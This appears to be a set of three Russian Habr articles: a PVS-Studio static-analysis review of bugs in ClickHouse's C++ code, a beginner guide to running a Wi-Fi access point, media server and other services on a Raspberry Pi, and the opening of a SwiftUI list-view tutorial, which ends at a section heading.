# Передаю привет разработчикам компании Yandex ![ClickHouse and PVS-Studio](https://habrastorage.org/r/w1560/getpro/habr/post_images/1c9/68d/599/1c968d599829385d45645421b9b4493c.png) Приблизительно раз в полгода нам пишет кто-то из сотрудников компании Yandex, интересуется лицензированием PVS-Studio, качает триал и пропадает. Это нормально, мы привыкли к медленным процессам продажи нашего анализатора в крупные компании. Однако, раз представился повод, будет не лишним передать разработчикам Yandex привет и напомнить об инструменте PVS-Studio. Честно скажу, что статья получилась во многом случайным образом. Нам уже предлагали проверить ClickHouse, но как-то эта идея забылась. На днях, гуляя по просторам интернета, я вновь встретил упоминание ClickHouse и заинтересовался этим проектом. В этот раз я решил не откладывать и проверить этот проект. ClickHouse ---------- ClickHouse — это столбцовая СУБД для OLAP (online обработки аналитических запросов). ClickHouse был разработан в Яндексе для решения задач Яндекс.Метрики. ClickHouse позволяет выполнять аналитические запросы по обновляемым данным в режиме реального времени. Система линейно масштабируемая и способна работать с триллионами записей и петабайтами данных. В июне 2016-го года ClickHouse был выложен в open-source под лицензией Apache 2.0. * Сайт: [clickhouse.yandex](https://clickhouse.yandex/). * Страница в Wikipedia: [ClickHouse](https://ru.wikipedia.org/wiki/ClickHouse). * Статья на сайте Habrahabr: [Яндекс открывает ClickHouse](https://habrahabr.ru/company/yandex/blog/303282/). * Репозиторий на сайте GitHub.com: [yandex/ClickHouse](https://github.com/yandex/ClickHouse). Анализ проекта с помощью PVS-Studio ----------------------------------- Я проверял исходный код ClickHouse, взятый из репозитория 14 августа 2017 года. Для проверки я использовал beta-версию анализатора PVS-Studio v6.17. К моменту публикации статьи уже состоялся релиз этой версии. Из проверки были исключены следующие каталоги:* ClickHouse/contrib * ClickHouse/libs * ClickHouse/build * также были исключены различные тесты, например, ClickHouse/dbms/src/Common/tests Размер оставшегося исходного кода на языке C++ равен 213 KLOC. При этом, 7.9% строк являются комментариями. Получается, что собственного кода, который был проверен, совсем немного: около 196 KLOC. Как видите, проект ClickHouse имеет меленький размер. При этом качество кода однозначно высокое и у меня не получится написать шокирующую статью. Всего анализатор выдал 130 предупреждений (General analysis, High и Medium сообщения). Про количество ложных срабатываний дать ответ затрудняюсь. Много предупреждений, которые нельзя формально назвать ложными, но при этом и практической пользы от них нет. Проще всего, это будет пояснить, приведя пример. ``` int format_version; .... if (format_version < 1 || format_version > 4) throw Exception("Bad checksums format version: " + ....); if (format_version == 1) return false; if (format_version == 2) return read_v2(in); if (format_version == 3) return read_v3(in); if (format_version == 4) return read_v4(in); return false; ``` Анализатор обращает внимание на то, что если начнётся вычисляться выражение *(format\_version == 4)*, то оно будет всегда истинно. Как видите, выше есть проверка, что если значение *format\_version* выходит за пределы [1..4], то генерируется исключение. А оператор *return false* вообще никогда не выполняется. Формально, анализатор прав и непонятно, как обосновать, что это ложное срабатывание. С другой стороны, видно, что этот код корректен и просто написан с «запасом надёжности». В подобных случаях, предупреждения анализатора можно подавить различными способами или переписать код. Например, можно написать так: ``` switch(format_version) { case 1: return false; case 2: return read_v2(in); case 3: return read_v3(in); case 4: return read_v4(in); default: throw Exception("Bad checksums format version: " + ....); } ``` Ещё есть предупреждения, про которые я просто не могу сказать: указывают они на ошибку или нет. Я не знаком с проектом и понятия не имею, как должны работать некоторые фрагменты кода. Рассмотрим такой случай. Есть некая область видимости с 3 функциями: ``` namespace CurrentMemoryTracker { void alloc(Int64 size); void realloc(Int64 old_size, Int64 new_size); void free(Int64 size); } ``` Названия формальных аргументов функций подсказывают, что функции должны принимать на вход какие-то размеры. Подозрение у анализатора вызывают случаи, когда, например, в функцию *alloc* передаётся не размер структуры, а размер указателя. ``` using Large = HyperLogLogCounter; Large \* large = nullptr; .... CurrentMemoryTracker::alloc(sizeof(large)); ``` Анализатор не знает, ошибка это или нет. Я тоже не знаю, но на мой взгляд, этот код подозрительный. В общем, про такие случаи я говорить не буду. Если у разработчиков ClickHouse возникнет интерес, они смогут самостоятельно проверить проект и изучить список предупреждений более подробно. Я же в статье рассмотрю только те фрагменты кода, которые показались мне наиболее интересными. Интересные фрагменты кода ------------------------- **1. CWE-476: NULL Pointer Dereference (3 ошибки)** ``` bool executeForNullThenElse(....) { .... const ColumnUInt8 * cond_col = typeid_cast(arg\_cond.column.get()); .... if (cond\_col) { .... } else if (cond\_const\_col) { .... } else throw Exception( "Illegal column " + cond\_col->getName() + // <= " of first argument of function " + getName() + ". Must be ColumnUInt8 or ColumnConstUInt8.", ErrorCodes::ILLEGAL\_COLUMN); .... } ``` Предупреждение PVS-Studio: [V522](http://www.viva64.com/ru/w/V522/) Dereferencing of the null pointer 'cond\_col' might take place. FunctionsConditional.h 765 Здесь неправильно обрабатывается ситуация, когда возникает ошибка. Вместо генерации исключения, произойдёт разыменование нулевого указателя. Для создания сообщения об ошибке, происходит вызов функции: *cond\_col->getName()*. Этого делать нельзя, так как указатель *cond\_col* будет нулевым. Аналогичная ошибка обнаруживается здесь: V522 Dereferencing of the null pointer 'cond\_col' might take place. FunctionsConditional.h 1061 Рассмотрим другую вариацию на тему использования нулевого указателя: ``` void processHigherOrderFunction(....) { .... const DataTypeExpression * lambda_type = typeid_cast(types[i].get()); const DataTypes & lambda\_argument\_types = lambda\_type->getArgumentTypes(); if (!lambda\_type) throw Exception("Logical error: .....", ErrorCodes::LOGICAL\_ERROR); .... } ``` Предупреждение PVS-Studio: [V595](http://www.viva64.com/ru/w/V595/) The 'lambda\_type' pointer was utilized before it was verified against nullptr. Check lines: 359, 361. TypeAndConstantInference.cpp 359 В начале указатель *lambda\_type* разыменовывается, а только затем осуществляется его проверка. Чтобы исправить код, нужно переместить проверку указателя чуть выше: ``` if (!lambda_type) throw Exception("Logical error: .....", ErrorCodes::LOGICAL_ERROR); const DataTypes & lambda_argument_types = lambda_type->getArgumentTypes(); ``` **2. CWE-665: Improper Initialization (1 ошибка)** ``` struct TryResult { .... explicit TryResult(Entry entry_) : entry(std::move(entry)) // <= , is_usable(true) , is_up_to_date(true) { } .... Entry entry; .... } ``` [V546](http://www.viva64.com/ru/w/V546/) Member of a class is initialized by itself: 'entry(entry)'. PoolWithFailoverBase.h 74 Из-за опечатки, член *entry* инициализируется сам собой и в результате на самом деле остаётся неинициализированным. Чтобы исправить код, надо добавить подчеркивание: ``` : entry(std::move(entry_)) ``` **3. CWE-672: Operation on a Resource after Expiration or Release (1 ошибка)** ``` using Strings = std::vector; .... int mainEntryClickhousePerformanceTest(int argc, char \*\* argv) { .... Strings input\_files; .... for (const String filename : input\_files) // <= { FS::path file(filename); if (!FS::exists(file)) throw DB::Exception(....); if (FS::is\_directory(file)) { input\_files.erase( // <= std::remove(input\_files.begin(), // <= input\_files.end(), // <= filename) , // <= input\_files.end() ); // <= getFilesFromDir(file, input\_files, recursive); } else { if (file.extension().string() != ".xml") throw DB::Exception(....); } } .... } ``` Предупреждение PVS-Studio: [V789](http://www.viva64.com/ru/w/V789/) Iterators for the 'input\_files' container, used in the range-based for loop, become invalid upon the call of the 'erase' function. PerformanceTest.cpp 1471 Контейнер *input\_files* используется в range-based for loop. При этом, внутри цикла, контейнер может изменяться из-за удаления некоторых элементов. Если читателю не понятно, почему так делать нельзя, предлагаю ознакомиться с описанием диагностики [V789](https://www.viva64.com/ru/w/V789/). **4. CWE-563: Assignment to Variable without Use ('Unused Variable') (1 ошибка)** ``` struct StringRange { const char * first; const char * second; .... StringRange(TokenIterator token_begin, TokenIterator token_end) { if (token_begin == token_end) { first = token_begin->begin; // <= second = token_begin->begin; // <= } TokenIterator token_last = token_end; --token_last; first = token_begin->begin; // <= second = token_last->end; // <= } }; ``` Анализатор выдаёт два предупреждения:* V519 The 'first' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 26, 33. StringRange.h 33 * V519 The 'second' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 27, 34. StringRange.h 34 При определённом условии вначале переменной *first* и переменной *second* присваивается значение *token\_begin->begin*. Далее значение этих переменных в любом случае вновь изменяется. Скорее всего этот код содержит какую-то логическую ошибку или в нём чего-то не хватает. Например, возможно забыт оператор *return*: ``` if (token_begin == token_end) { first = token_begin->begin; second = token_begin->begin; return; } ``` **5. CWE-570: Expression is Always False (2 ошибки)** ``` DataTypePtr getReturnTypeImpl(const DataTypes & arguments) const override { .... if (!((.....)) || ((left_is_string || left_is_fixed_string) && (.....)) || (left_is_date && right_is_date) || (left_is_date && right_is_string) || (left_is_string && right_is_date) || (left_is_date_time && right_is_date_time) // 1 || (left_is_date_time && right_is_string) // 1 || (left_is_string && right_is_date_time) // 1 || (left_is_date_time && right_is_date_time) // 2 || (left_is_date_time && right_is_string) // 2 || (left_is_string && right_is_date_time) // 2 || (left_is_uuid && right_is_uuid) || (left_is_uuid && right_is_string) || (left_is_string && right_is_uuid) || (left_is_enum && right_is_enum && .....) || (left_is_enum && right_is_string) || (left_is_string && right_is_enum) || (left_tuple && right_tuple && .....) || (arguments[0]->equals(*arguments[1])))) throw Exception(....); .... } ``` В этом условии три подвыражения повторяются дважды. Предупреждения PVS-Studio:* V501 Instantiate FunctionComparison < EqualsOp, NameEquals >: There are identical sub-expressions '(left\_is\_date\_time && right\_is\_date\_time)' to the left and to the right of the '||' operator. FunctionsComparison.h 1057 * V501 Instantiate FunctionComparison < EqualsOp, NameEquals >: There are identical sub-expressions '(left\_is\_date\_time && right\_is\_string)' to the left and to the right of the '||' operator. FunctionsComparison.h 1057 * V501 Instantiate FunctionComparison < EqualsOp, NameEquals >: There are identical sub-expressions '(left\_is\_string && right\_is\_date\_time)' to the left and to the right of the '||' operator. FunctionsComparison.h 1057 Возможны два варианта. Первый — ошибки нет, условие просто избыточное и его можно упростить. Второй — здесь ошибка и какие-то условия не проверяются. В любом случае, авторам стоит проверить этот фрагмент кода. Рассмотрим ещё один случай, когда условие всегда ложно. ``` static void ipv6_scan(const char * src, unsigned char * dst) { .... uint16_t val{}; unsigned char * colonp = nullptr; while (const auto ch = *src++) { const auto num = unhex(ch); if (num != -1) { val <<= 4; val |= num; if (val > 0xffffu) // <= return clear_dst(); saw_xdigit = 1; continue; } .... } ``` Предупреждение PVS-Studio: [V547](http://www.viva64.com/ru/w/V547/) Expression 'val > 0xffffu' is always false. The value range of unsigned short type: [0, 65535]. FunctionsCoding.h 339 При парсинге строки, содержащей [IPv6](https://ru.wikipedia.org/wiki/IPv6) адрес, некоторые некорректные IPv6 адреса будут восприняты как правильные. Ожидается, что между разделителями могут быть записаны числа в шестнадцатеричном формате со значением не более FFFF. Если число больше, то адрес должен считаться некорректным. Для выявления этой ситуации в коде имеется проверка "*if (val > 0xffffu)*". Но она не работает. Переменная *val* имеет тип *uint16\_t*, а значит не может быть больше 0xFFFF. В результате, функция будут «проглатывать» некорректные адреса. В качестве очередной части адреса будут выступать 4 последние 16-ричные числа до разделителя. **6. CWE-571. Expression is Always True (1 ошибка)** ``` static void formatIP(UInt32 ip, char *& out) { char * begin = out; for (auto i = 0; i < 3; ++i) *(out++) = 'x'; for (size_t offset = 8; offset <= 24; offset += 8) { if (offset > 0) // <= *(out++) = '.'; /// Get the next byte. UInt32 value = (ip >> offset) & static_cast(255); /// Faster than sprintf. if (value == 0) { \*(out++) = '0'; } else { while (value > 0) { \*(out++) = '0' + value % 10; value /= 10; } } } /// And reverse. std::reverse(begin, out); \*(out++) = '\0'; } ``` Предупреждение PVS-Studio: [V547](http://www.viva64.com/ru/w/V547/) Expression 'offset > 0' is always true. FunctionsCoding.h 649 Условие "*offset > 0*" выполняется всегда, поэтому всегда добавляется точка. Мне кажется, ошибки здесь нет и проверка просто лишняя. Хотя конечно я не уверен. Если это всё-таки не ошибка, то проверку следует удалить, чтобы она не смущала других программистов и статические анализаторы кода. Заключение ---------- Возможно, разработчики проекта смогут найти ещё ряд ошибок, просматривая предупреждения анализатора, которые не нашли отражения в статье. Я же закончу повествование, тем более что для того чтобы «передать привет», мне хватило материала :). В целом хочу отметить высокое качество кода разработчиков проекта ClickHouse. Впрочем, какими высококлассными не были бы разработчики, они не застрахованы от ошибок, и данная статья вновь это демонстрирует. Статический анализатор кода PVS-Studio поможет предотвратить многие ошибки. Наибольший эффект от статического анализа разработчики получают при написании нового кода. Нет смысла тратить время на отладку ошибок, которые можно обнаружить анализатором сразу после проверки нового кода. Приглашаю всех [скачать](https://www.viva64.com/ru/pvs-studio-download/) и попробовать PVS-Studio. [![](https://habrastorage.org/r/w1560/files/8d2/41b/5bf/8d241b5bf34747169141ed7c1997143b.png)](http://www.viva64.com/en/b/0529/) Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. [Give my Best Regards to Yandex Developers](http://www.viva64.com/en/b/0529/) **Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio, версия 2015](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком.
https://habr.com/ru/post/337182/
null
ru
null
# 5 способов полезного использования Raspberry Pi Привет Хабр. Raspberry Pi наверное есть дома почти у каждого, и рискну предположить, что у многих она валяется без дела. А ведь Raspberry это ~~не только ценный мех~~, но и вполне мощный fanless-компьютер с Linux. Сегодня мы рассмотрим полезные возможности Raspberry Pi, для использования которых код писать не придется совсем. ![](https://habrastorage.org/r/w1560/webt/_y/bc/q2/_ybcq2keam7p8eyyym8ssentqgq.png) Для тех кому интересно, подробности под катом. Статья рассчитана для начинающих. *Примечание*: статья рассчитана для начинающих, но имеющих хотя бы базовые понятия о том, что такое IP-адрес, как зайти на Raspberry Pi по SSH с помощью putty или любого другого терминала, и как редактировать файлы редактором nano. В качестве эксперимента, в этот раз я не буду «грузить» читателей кодом для Python, программирования здесь не будет совсем. Для всего ниженаписанного будет достаточно лишь командной строки. Насколько такой формат востребован, буду смотреть по оценкам текста. Разумеется, я не буду рассматривать совсем уж очевидные вещи типа FTP-сервера или сетевой шары. Ниже я постарался выделить что-то более-менее полезное и оригинальное. Перед тем, как мы будем что-то устанавливать, важный **совет**: правильный блок питания (лучше фирменный на 2.5А, а не noname-зарядка от телефона) и радиатор на процессор крайне важны для стабильной работы Raspberry Pi. Без этого Raspberry может зависать, могут появляться ошибки копирования файлов и пр. Коварность таких ошибок в том, что проявляются они только изредка, например при пиковой загрузке CPU или в момент записи больших файлов на SD-карту. Перед установкой каких-либо компонентов желательно обновить систему, иначе старые адреса для команды apt могут не сработать: ``` sudo apt-get update ``` Теперь можно приступать к установке и настройке. 1. WiFi точка доступа --------------------- Raspberry Pi легко превратить в беспроводную точку доступа, причем ничего докупать не придется, WiFi «на борту» уже есть. Для этого необходимо установить 2 компонента: hostapd (Host access point daemon, сервис точки доступа) и dnsmasq (DNS/DHCP-сервер). Устанавливаем dnsmasq и hostapd: ``` sudo apt-get install dnsmasq hostapd ``` Задаем статический IP-адрес, который будет иметь Raspberry Pi в WiFi-сети. Для этого нужно отредактировать файл dhcpcd.conf, введя команду *sudo nano /etc/dhcpcd.conf*. В файл нужно добавить следующие строки: ``` interface wlan0 static ip_address=198.51.100.100/24 nohook wpa_supplicant ``` Как можно видеть, в WiFi-сети наша Raspberry Pi будет иметь адрес 198.51.100.100 (это важно запомнить, если на ней будет работать какой-то сервер, адрес которого нужно будет ввести в браузере). Далее, мы должны активировать IP forwarding, для чего выполняем команду *sudo nano /etc/sysctl.conf* и раскомментируем строку *net.ipv4.ip\_forward=1*. Теперь нужно настроить DHCP-сервер — он будет раздавать IP-адреса подключаемым устройствам. Вводим команду *sudo nano /etc/dnsmasq.conf* и добавляем следующие строки: ``` interface=wlan0 dhcp-range=198.51.100.1,198.51.100.99,255.255.255.0,24h ``` Как можно видеть, подключаемые устройства будут иметь IP-адреса в диапазоне 198.51.100.1… 198.51.100.99. Наконец, настало время настроить Wi-Fi. Редактируем файл */etc/default/hostapd* и вводим там строку *DAEMON\_CONF="/etc/hostapd/hostapd.conf"*. Теперь отредактируем файл hostapd.conf, введя команду *sudo nano /etc/hostapd/hostapd.conf*. Вводим параметры точки доступа: ``` interface=wlan0 driver=nl80211 ssid=Raspberry Pi hw_mode=g channel=7 wmm_enabled=0 macaddr_acl=0 auth_algs=1 ignore_broadcast_ssid=0 wpa=2 wpa_passphrase=12345678 wpa_key_mgmt=WPA-PSK wpa_pairwise=TKIP rsn_pairwise=CCMP ``` Здесь важно обратить внимание на параметры «ssid» (имя точки доступа), «wpa\_passphrase» (пароль), «channel» (номер канала) и «hw\_mode» (режим работы, a = IEEE 802.11a, 5 GHz, b = IEEE 802.11b, 2.4 GHz, g = IEEE 802.11g, 2.4 GHz). К сожалению, автоматического выбора канала нет, так что наименее занятый канал WiFi придется выбрать самостоятельно. **Важно**: в этом тестовом примере указан пароль 12345678, в реальной точке доступа нужно использовать что-то посложнее. Существуют программы, осуществляющие перебор паролей по словарю, и точку доступа с простым паролем могут взломать. Ну а расшаривать интернет посторонним при современных законах может быть чревато. Все готово, можно активировать все сервисы. ``` sudo systemctl unmask hostapd sudo systemctl enable hostapd sudo systemctl start hostapd sudo systemctl reload dnsmasq ``` Теперь мы должны уже увидеть новую WiFi-точку доступа в списке сетей. Но чтобы в ней появился интернет, необходимо активировать перенаправление пакетов из Ethernet в WLAN, для чего вводим команду *sudo nano /etc/rc.local* и добавляем строку настройки iptables: ``` sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE ``` Теперь все. Перезагружаем Raspberry Pi, и если все было сделано правильно, мы можем увидеть точку доступа и подключиться к ней. ![](https://habrastorage.org/r/w1560/webt/2t/jh/fy/2tjhfywoeqadxykeafvrby3b_gw.png) Как можно видеть, скорость не так уж плоха, и пользоваться таким WiFi вполне можно. Кстати, небольшой **совет**: поменять сетевое имя Raspberry Pi можно, выполнив команду *sudo raspi-config*. По умолчанию оно равно (сюрприз:) raspberrypi. Это наверно общеизвестно. Однако не все знают, что это имя доступно и в локальной сети, но к нему нужно добавить ".local". Например, зайти на Raspberry Pi по SSH можно, введя команду *putty pi@raspberrypi.local*. Тут правда, есть один нюанс: это работает в Windows и в Linux, но не работает в Android — там по-прежнему придется вводить IP-адрес вручную. 2. Медиа-сервер --------------- Существует 1001 способ сделать медиа-сервер на Raspberry Pi, я рассмотрю лишь самый простой. Допустим, у нас есть любимая коллекция MP3-файлов, и мы хотим, чтобы она была доступна в локальной сети для всех медиа-устройств. Мы поставим на Raspberry Pi сервер MiniDLNA, который может сделать это для нас. Для установки введем команду *sudo apt-get install minidlna*. После чего нужно настроить конфиг, введя команду *sudo nano /etc/minidlna.conf*. Там необходимо добавить лишь одну строку, указывающую путь к нашим файлам: *media\_dir=/home/pi/MP3* (путь разумеется, может быть другим). Закрыв файл, перезапускаем сервис: *sudo systemctl restart minidlna* Если мы все сделали правильно, мы получим готовый медиа-сервер в локальной сети, с которого можно играть музыку через настольное WiFi-радио или через VLC-Player в Android: ![](https://habrastorage.org/r/w1560/webt/8l/zs/ll/8lzsllroios99d3q0qt6fgn6ppa.png) **Совет**: загружать файлы на Raspberry Pi очень удобно с помощью WinSCP — эта программа позволяет работать с папками RPi также легко, как и с локальными. ![](https://habrastorage.org/r/w1560/webt/ko/gf/me/kogfme65d0efqdxaakajuluf_dq.png) 3. SDR приемник --------------- Если у нас есть приемник RTL-SDR или SDRPlay, мы можем использовать его на Raspberry Pi с помощью программы GQRX или CubicSDR. Это позволит иметь автономный и бесшумный SDR-приемник, способный работать даже круглосуточно. Прошу прощения за качество скриншота с экрана телевизора: ![](https://habrastorage.org/r/w1560/webt/cr/ab/ms/crabmsxa-nua2dfgtocsg6wmdqy.png) С помощью RTL-SDR или SDRPlay возможно принимать различные радиосигналы с частотой до 1ГГц (даже чуть выше). К примеру, можно слушать не только обычное FM-радио, но и переговоры пилотов или других служб. Кстати, радиолюбители с помощью Raspberry Pi вполне могут принимать, декодировать и отправлять на сервер сигналы [WSPR и других цифровых режимов](https://www.rtl-sdr.com/tutorial-setting-up-a-low-cost-qrp-ft8-jt9-wspr-etc-monitoring-station-with-an-rtl-sdr-v3-and-raspberry-pi-3/). Подробное рассмотрение SDR-радио выходит за рамки этой статьи, подробнее можно почитать [здесь](https://habr.com/ru/post/450534/). 4. Сервер для «умного дома» --------------------------- Тем, кто хочет сделать свой дом более «умным», можно воспользоваться бесплатной программой OpenHAB. ![](https://habrastorage.org/r/w1560/webt/69/17/wg/6917wgyh04j0heuzeuvlrs38wla.png) Это даже не то, чтобы просто программа, а целый фреймворк, имеющий различные плагины, скрипты, позволяющий управлять различными устройствами (Z-Wave, Philips Hue и др). Желающие могут изучить подробнее оф.сайт [https://www.openhab.org](https://www.openhab.org/). Кстати, раз уж зашла речь об «умном доме», на Raspberry Pi вполне может работать MQTT-сервер, который может использоваться различными локальными устройствами. 5. Клиент для FlightRadar24 --------------------------- Если вы любитель авиации, и живете в регионе где покрытие FlightRadar оставляет желать лучшего, можно помочь сообществу и всем путешественникам, установив приемник у себя. Для этого достаточно лишь RTL-SDR-приемника и Raspberry Pi. Как бонус, вы получите бесплатный доступ к Pro-аккаунту FlightRadar24. ![image](https://habrastorage.org/r/w780q1/webt/m7/zw/8w/m7zw8wq87hyuox4shue_jq1wne0.jpeg) Подробная инструкция [уже публиковалась](https://habr.com/ru/post/408003/) на Хабре. Заключение ---------- Разумеется, здесь перечислено далеко не все. Raspberry Pi имеет неплохую вычислительную мощность, и может использоваться в абсолютно разных задачах, от ретро-игровой консоли или видеонаблюдения, до распознавания автомобильных номеров или даже как сервис для астрономической [all-sky камеры](https://www.instructables.com/id/Wireless-All-Sky-Camera/) для наблюдения за метеорами. Кстати, написанное актуально не только для Raspberry Pi, но и для различных «клонов» (Asus Tinkerboard, Nano Pi и пр), все программы скорее всего заработают и там. Всем удачных экспериментов. Продолжение доступно во [второй части](https://habr.com/ru/post/475138/).
https://habr.com/ru/post/472778/
null
ru
null
# Знакомство с SwiftUI: Создание простого приложения с использованием TableView Во время проведения WWDC 2019, одним из самым больших и захватывающих моментом был анонс релиза SwiftUI. **SwiftUI** — это совершенно новый фреймворк, который позволяет проектировать и разрабатывать пользовательские интерфейсы с написанием меньшего количества кода, декларативным способом. В отличие от UIKit, который обычно использовался в сочетании с [storyboards](https://www.appcoda.com/uitableview-tutorial-storyboard-xcode5/), SwiftUI полностью основан на программном коде. Тем не менее, синтаксис очень прост для понимания и проект можно быстро просмотреть с помощью Automatic Preview. Поскольку SwiftUI использует язык Swift, он позволяет создавать приложения той же сложности с гораздо меньшим количеством кода. Более того, использование SwiftUI автоматически позволяет приложению использовать такие функции, как *Dynamic Type*, *Dark Mode*, *Localization* и *Accessibility*. Кроме того, он доступен на всех платформах, включая **macOS**, **iOS**, **iPadOS**, **watchOS** и **tvOS**. Итак, теперь ваш код пользовательского интерфейса может быть синхронизирован на всех платформах, что дает больше времени для того, чтобы сосредоточиться на второстепенном платформо-зависимом коде. #### Об этой статье Важно, чтобы разработчики узнали, как использовать SwiftUI на более ранних стадиях, поскольку компания Apple в конечном итоге сфокусирует большую часть своего внимания на этом фреймворке. В этой статье мы рассмотрим основы SwiftUI и узнаем, как создавать минимальную навигацию, отображать изображения, текст и списки, посредством создания простого списка контактов, который отобразит всех участников нашей команды. При выборе участника команды, приложение отображает детальную информацию, которая содержит изображение пользователя с его краткой биографией. Давайте начнем! Запустим **Xcode 11**. На время написания данной статьи, Xcode 11 все еще находится в бета-версии, поэтому некоторые функции могут работать не так, как ожидалось. В этой статье мы будем использовать **Swift 5**. Несмотря на то, что продвинутые знания языка Swift не обязательны для данной статьи, все же рекомендуется понимание основ языка. Примечание редактора: Для предварительного просмотра и взаимодействия с изображениями из Canvas в Xcode, убедитесь, что на Mac установлена MacOS версий 10.15 beta. ### Создание нового проекта с использованием SwiftUI Давайте начнем все сначала, чтобы вы могли сразу увидеть, как запустить приложение SwiftUI. Сначала откройте Xcode и выберите пункт «Create new Xcode project». Для платформы iOS выберите Single View App. Введите название приложению и заполните текстовые поля. Однако следует убедиться, что внизу установлен флажок Use SwiftUI. Если вы не выберите эту опцию, Xcode создаст для вас storyboard файл. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/b17/eb7/b8d/b17eb7b8dafbcc6385c5d266ded4df2f.png) Xcode автоматически создаст для вас файл с именем ContentView.swift, и удивительным будет то, что предварительный просмотр вашего кода, будет отображен с правой стороны, как показано ниже. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/86a/0c7/e4a/86a0c7e4a837991819d6c476627345dd.png) Если вы не видите предварительного просмотра, необходимо нажать кнопку Resume в зоне предварительного просмотра. Компиляция проекта займет некоторое время. Будьте терпеливы и дождитесь завершения компиляции. Теперь давайте посмотрим, как можно изменить эти файлы для создания приложения. ### Создание представления в виде списка Создание представления в виде списка осуществляется в три этапа. Первый — это создание строк в списке. Возможно дизайн похож на UITableView. Для этого необходимо создать ContactRow. Второй этап это передача необходимых данных в список. У меня есть данные, которые уже закодированы, и требуется всего лишь несколько изменений, чтобы связать список с данными. Последний этап — это просто добавление Navigation Bar и встраивание списка в Navigation View. Это довольно просто. Теперь посмотрим, как все это было реализовано в SwiftUI. ### Создание списка преподавателей Во-первых, необходимо создать представление для отображения списка всех участников команды, включая фотографии их профиля и их описание. Посмотрим, как это можно сделать. Как мы видим, в сгенерированном коде имеется компонент Text со значением «Hello World». В редакторе кода изменим значение кода на «Simon Ng». ``` struct ContentView: View { var body: some View { Text("Simon Ng") } } ``` Если все работает верно, справа вы должны увидеть автоматическое обновление. Это эффект мгновенного просмотра, что мы и ожидали. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/782/0e9/437/7820e9437c2afd75d246394aa05cf400.png) Давайте добавим в приложении новый элемент **Text**. Это будет краткое описание участника. Чтобы в приложении добавить новый элемент интерфейса, необходимо нажать кнопку + в правом верхнем углу. Появится новое окно со списком различных вью. Переместим вью с названием Text и поместим его под первоначальный элемент **Text**, как показано ниже. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/4ea/8bd/4e5/4ea8bd4e5d12338d9867a78c86c3b617.png) Обратите внимание на код слева: ``` struct ContentView: View { var body: some View { VStack { Text("Simon Ng") Text("Placeholder") } } } ``` Можно заметить, что новый элемент Text был добавлен под Text вью с значением Simon Ng. Отличие состоит в том, что теперь это вью, похоже, обернул представление в нечто, называемое VStack. VStack используется для вертикального стека, и он является заменой Auto Layout в SwiftUI. Если у Вас имеется опыт разработки программного обеспечения для watchOS, вы вероятно знаете, что здесь нет никаких ограничений, более того все элементы помещаются в группы. При вертикальном стеке все вью будут расположены вертикально. Теперь измените текст «Placeholder» на «Founder of AppCoda» Далее, давайте добавим изображение слева от этого текста. Так как мы хотим расположить представление горизонтально к существующим представлениям, то имеется необходимость обернуть VStack в HStack. Для этого, выполним ⌘+Click на VStack, а затем выберем Embed in HStack. Посмотрим на это ниже: ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/692/aca/0a6/692aca0a685f3568bcf4a7702624e2ec.png) Данный код должен выглядеть следующим образом: ``` struct ContentView: View { var body: some View { HStack { VStack { Text("Simon Ng") Text("Founder of AppCoda") } } } } ``` Значительных изменений пока нету, но сейчас мы добавим изображение. Измените код, чтобы он выглядел следующим образом: ``` struct ContentView: View { var body: some View { HStack { Image(systemName: "photo") VStack { Text("Simon Ng") Text("Founder of AppCoda") } } } } ``` Начиная с iOS 13, Apple представляет новую функцию под названием SFSymbols. SF Symbols, разработанный компанией Apple, представляет собой набор из более чем 1500 символов, которые можно использовать в приложениях. Поскольку они могут легко интегрироваться с системным шрифтом San Francisco, символы автоматически обеспечивают оптическое вертикальное выравнивание с текстом любого размера. Поскольку у нас пока нет изображений наших преподавателей, будем использовать так называемый placeholder. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/e57/b27/200/e57b272001ea69e1b1279d104998ef1d.png) Теперь сосредоточимся на некоторых незначительных проблемах дизайна. Поскольку имеется необходимость эмуляции внешнего вида **UITableRow**, давайте выровняем текст по левому краю (т. е. сделаем его главным). Для этого выполним **⌘+Click** на VStack и нажмем **Inspect**. Выберем значок выравнивания по левому краю, как показано ниже: ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/b8f/772/7c7/b8f7727c7bec8a906dddf3a4b0af8532.png) Далее увидим изменение в коде. Также код будет изменен в реальном времени для отображения новых изменений. ``` VStack(alignment: .leading) { ... } ``` Теперь, когда второе текстовое представление является заголовком, давайте изменим шрифт. Как и раньше, ⌘+Click на текстовом представлении «Founder of AppCoda» в режиме предварительного просмотра и выбираем Inspect. Изменим шрифт на «Subheadline» и отобразим предварительный просмотр и изменение кода в реальном времени. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/78d/683/829/78d683829bac11810c63cefc040fa6be.png) Давайте также изменим цвет и установим его на «Серый». Данный код должен выглядеть следующим образом: ``` struct ContentView: View { var body: some View { HStack { Image(systemName: "photo") VStack(alignment: .leading) { Text("Simon Ng") Text("Founder of AppCoda") .font(.subheadline) .color(.gray) } } } } ``` Теперь, после окончания проектирования ряда сэмплов, мы подошли к волшебной части. Посмотрите, как легко создать список. Выполним ⌘+Click на HStack и выполним клик на Embed in List. Вуаля! Посмотрите, как код будет автоматически меняться, и пустая область будет отображать 5 красивых новых строк, каждая из которых показывает Simon Ng в качестве члена команды. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/7d6/bb9/6cf/7d6bb96cf4da6520798de06aab8121c4.png) Также обязательно обратите внимание, как был создан List в коде. Удалив HStack и заменив его повторяющимся List, было создано табличное представление. Теперь подумайте сколько времени вы сэкономили и на сколько меньше кода написали, избегая все эти UITableViewDataSource, UITableViewDelegate, Auto Layout, реализации для Dark Mode и т. д. Все это само по себе показывает мощь и силу SwiftUI. Тем не менее, мы далеки от завершения. Давайте добавим некоторые реальные данные в новый список. ### Подключение данных к списку 